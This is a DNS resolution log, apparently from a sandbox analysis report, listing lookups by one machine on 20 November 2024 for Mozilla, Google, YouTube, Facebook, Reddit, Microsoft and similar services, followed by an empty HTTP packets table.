Nov 20, 2024 04:09:14.475225925 CET	1.1.1.1	192.168.2.4	0x9ad3	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.476895094 CET	1.1.1.1	192.168.2.4	0x3ac4	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.531322002 CET	1.1.1.1	192.168.2.4	0x2645	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:14.531322002 CET	1.1.1.1	192.168.2.4	0x2645	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:15.038419008 CET	1.1.1.1	192.168.2.4	0xb882	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:16.646228075 CET	1.1.1.1	192.168.2.4	0x70d6	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:16.646228075 CET	1.1.1.1	192.168.2.4	0x70d6	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:16.646228075 CET	1.1.1.1	192.168.2.4	0x70d6	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:16.666003942 CET	1.1.1.1	192.168.2.4	0xdd35	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066205978 CET	1.1.1.1	192.168.2.4	0x9c40	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066217899 CET	1.1.1.1	192.168.2.4	0xad42	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066217899 CET	1.1.1.1	192.168.2.4	0xad42	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066226959 CET	1.1.1.1	192.168.2.4	0x69e0	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:18.066226959 CET	1.1.1.1	192.168.2.4	0x69e0	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.074580908 CET	1.1.1.1	192.168.2.4	0x7b6c	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075067043 CET	1.1.1.1	192.168.2.4	0x7154	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075355053 CET	1.1.1.1	192.168.2.4	0x9b76	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.082648039 CET	1.1.1.1	192.168.2.4	0x30b0	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 20, 2024 04:09:18.083117962 CET	1.1.1.1	192.168.2.4	0x41ec	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 20, 2024 04:09:18.083117962 CET	1.1.1.1	192.168.2.4	0x41ec	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 20, 2024 04:09:18.083117962 CET	1.1.1.1	192.168.2.4	0x41ec	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 20, 2024 04:09:18.083117962 CET	1.1.1.1	192.168.2.4	0x41ec	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 20, 2024 04:09:18.083770990 CET	1.1.1.1	192.168.2.4	0xc980	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 20, 2024 04:09:18.090886116 CET	1.1.1.1	192.168.2.4	0x3c31	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:18.090886116 CET	1.1.1.1	192.168.2.4	0x3c31	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.090886116 CET	1.1.1.1	192.168.2.4	0x3c31	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.090886116 CET	1.1.1.1	192.168.2.4	0x3c31	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.090886116 CET	1.1.1.1	192.168.2.4	0x3c31	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.093871117 CET	1.1.1.1	192.168.2.4	0x585d	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.099615097 CET	1.1.1.1	192.168.2.4	0xbffc	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.099615097 CET	1.1.1.1	192.168.2.4	0xbffc	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.099615097 CET	1.1.1.1	192.168.2.4	0xbffc	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.099615097 CET	1.1.1.1	192.168.2.4	0xbffc	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.103199959 CET	1.1.1.1	192.168.2.4	0xa3a1	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:20.355976105 CET	1.1.1.1	192.168.2.4	0x4587	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:25.877995968 CET	1.1.1.1	192.168.2.4	0x3cc5	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:25.878150940 CET	1.1.1.1	192.168.2.4	0x8ecd	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:25.878150940 CET	1.1.1.1	192.168.2.4	0x8ecd	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:25.878150940 CET	1.1.1.1	192.168.2.4	0x8ecd	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:25.878326893 CET	1.1.1.1	192.168.2.4	0x86bb	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:25.878326893 CET	1.1.1.1	192.168.2.4	0x86bb	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:25.878326893 CET	1.1.1.1	192.168.2.4	0x86bb	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:25.878326893 CET	1.1.1.1	192.168.2.4	0x86bb	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:25.929085016 CET	1.1.1.1	192.168.2.4	0x96b9	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:25.929085016 CET	1.1.1.1	192.168.2.4	0x96b9	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:26.249900103 CET	1.1.1.1	192.168.2.4	0x15d	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 04:09:26.249911070 CET	1.1.1.1	192.168.2.4	0x96b0	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:34.267996073 CET	1.1.1.1	192.168.2.4	0xb865	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:34.287756920 CET	1.1.1.1	192.168.2.4	0xe4e1	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:42.272294998 CET	1.1.1.1	192.168.2.4	0x2227	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:42.272294998 CET	1.1.1.1	192.168.2.4	0x2227	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.273350000 CET	1.1.1.1	192.168.2.4	0xfa59	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.273350000 CET	1.1.1.1	192.168.2.4	0xfa59	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.273350000 CET	1.1.1.1	192.168.2.4	0xfa59	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.273350000 CET	1.1.1.1	192.168.2.4	0xfa59	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.296454906 CET	1.1.1.1	192.168.2.4	0xa8fa	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:42.296454906 CET	1.1.1.1	192.168.2.4	0xa8fa	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.298480034 CET	1.1.1.1	192.168.2.4	0x8cd6	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.298480034 CET	1.1.1.1	192.168.2.4	0x8cd6	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.298480034 CET	1.1.1.1	192.168.2.4	0x8cd6	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.298480034 CET	1.1.1.1	192.168.2.4	0x8cd6	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.342236042 CET	1.1.1.1	192.168.2.4	0x7fe	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 20, 2024 04:09:42.342236042 CET	1.1.1.1	192.168.2.4	0x7fe	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 20, 2024 04:09:42.342236042 CET	1.1.1.1	192.168.2.4	0x7fe	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 20, 2024 04:09:42.342236042 CET	1.1.1.1	192.168.2.4	0x7fe	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 20, 2024 04:09:42.342351913 CET	1.1.1.1	192.168.2.4	0x2227	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:42.342351913 CET	1.1.1.1	192.168.2.4	0x2227	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.342401981 CET	1.1.1.1	192.168.2.4	0x751c	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:43.321316004 CET	1.1.1.1	192.168.2.4	0x673d	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:43.321316004 CET	1.1.1.1	192.168.2.4	0x673d	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:52.042324066 CET	1.1.1.1	192.168.2.4	0xc150	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:52.042349100 CET	1.1.1.1	192.168.2.4	0xc150	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:10:11.872488022 CET	1.1.1.1	192.168.2.4	0xabf9	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:10:12.365756035 CET	1.1.1.1	192.168.2.4	0xb362	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:12.365756035 CET	1.1.1.1	192.168.2.4	0xb362	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:10:33.392177105 CET	1.1.1.1	192.168.2.4	0xbe66	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:33.392177105 CET	1.1.1.1	192.168.2.4	0xbe66	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:10:36.382126093 CET	1.1.1.1	192.168.2.4	0x65b0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:36.382807970 CET	1.1.1.1	192.168.2.4	0x9d0f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:36.382807970 CET	1.1.1.1	192.168.2.4	0x9d0f	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:36.382807970 CET	1.1.1.1	192.168.2.4	0x9d0f	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:10:36.382841110 CET	1.1.1.1	192.168.2.4	0xa920	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:36.382841110 CET	1.1.1.1	192.168.2.4	0xa920	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:36.383339882 CET	1.1.1.1	192.168.2.4	0x1f30	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:36.383339882 CET	1.1.1.1	192.168.2.4	0x1f30	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:36.383339882 CET	1.1.1.1	192.168.2.4	0x1f30	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:36.383339882 CET	1.1.1.1	192.168.2.4	0x1f30	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:10:39.659389973 CET	1.1.1.1	192.168.2.4	0x9993	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:39.677654028 CET	1.1.1.1	192.168.2.4	0x1700	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:48.700594902 CET	1.1.1.1	192.168.2.4	0xe697	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:10:48.700594902 CET	1.1.1.1	192.168.2.4	0xe697	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:11:02.410765886 CET	1.1.1.1	192.168.2.4	0x4941	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:11:02.410765886 CET	1.1.1.1	192.168.2.4	0x4941	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:11:06.117989063 CET	1.1.1.1	192.168.2.4	0x1f23	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:11:06.134320974 CET	1.1.1.1	192.168.2.4	0x642d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:11:15.601085901 CET	1.1.1.1	192.168.2.4	0x9633	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:11:15.618297100 CET	1.1.1.1	192.168.2.4	0x94b1	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:11:47.624967098 CET	1.1.1.1	192.168.2.4	0xd515	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:11:47.624967098 CET	1.1.1.1	192.168.2.4	0xd515	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:11:53.100471973 CET	1.1.1.1	192.168.2.4	0x84ec	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:11:53.109457970 CET	1.1.1.1	192.168.2.4	0x5394	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:11:53.593079090 CET	1.1.1.1	192.168.2.4	0x3b09	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:11:53.593079090 CET	1.1.1.1	192.168.2.4	0x3b09	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:12:12.865411997 CET	1.1.1.1	192.168.2.4	0x863f	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:12:35.139934063 CET	1.1.1.1	192.168.2.4	0x5973	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:13:05.160350084 CET	1.1.1.1	192.168.2.4	0xdf82	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:13:39.693662882 CET	1.1.1.1	192.168.2.4	0xea09	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:13:39.693926096 CET	1.1.1.1	192.168.2.4	0xc4c5	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:14:13.850491047 CET	1.1.1.1	192.168.2.4	0xf252	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:14:13.850491047 CET	1.1.1.1	192.168.2.4	0xf252	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:14:13.858863115 CET	1.1.1.1	192.168.2.4	0x174f	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:14:14.323626041 CET	1.1.1.1	192.168.2.4	0x9040	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:14:14.323626041 CET	1.1.1.1	192.168.2.4	0x9040	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:14:34.296084881 CET	1.1.1.1	192.168.2.4	0x1e3	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:14:34.303994894 CET	1.1.1.1	192.168.2.4	0x7168	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:15:17.788578987 CET	1.1.1.1	192.168.2.4	0xefb7	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:15:49.937876940 CET	1.1.1.1	192.168.2.4	0xb0fe	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:15:49.952028036 CET	1.1.1.1	192.168.2.4	0xa417	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:15:51.057727098 CET	1.1.1.1	192.168.2.4	0x2c02	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:15:51.071299076 CET	1.1.1.1	192.168.2.4	0x1de	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:16:06.538155079 CET	1.1.1.1	192.168.2.4	0x46f7	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:16:13.445880890 CET	1.1.1.1	192.168.2.4	0x2eac	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:16:13.922658920 CET	1.1.1.1	192.168.2.4	0x8926	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:16:13.922658920 CET	1.1.1.1	192.168.2.4	0x8926	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
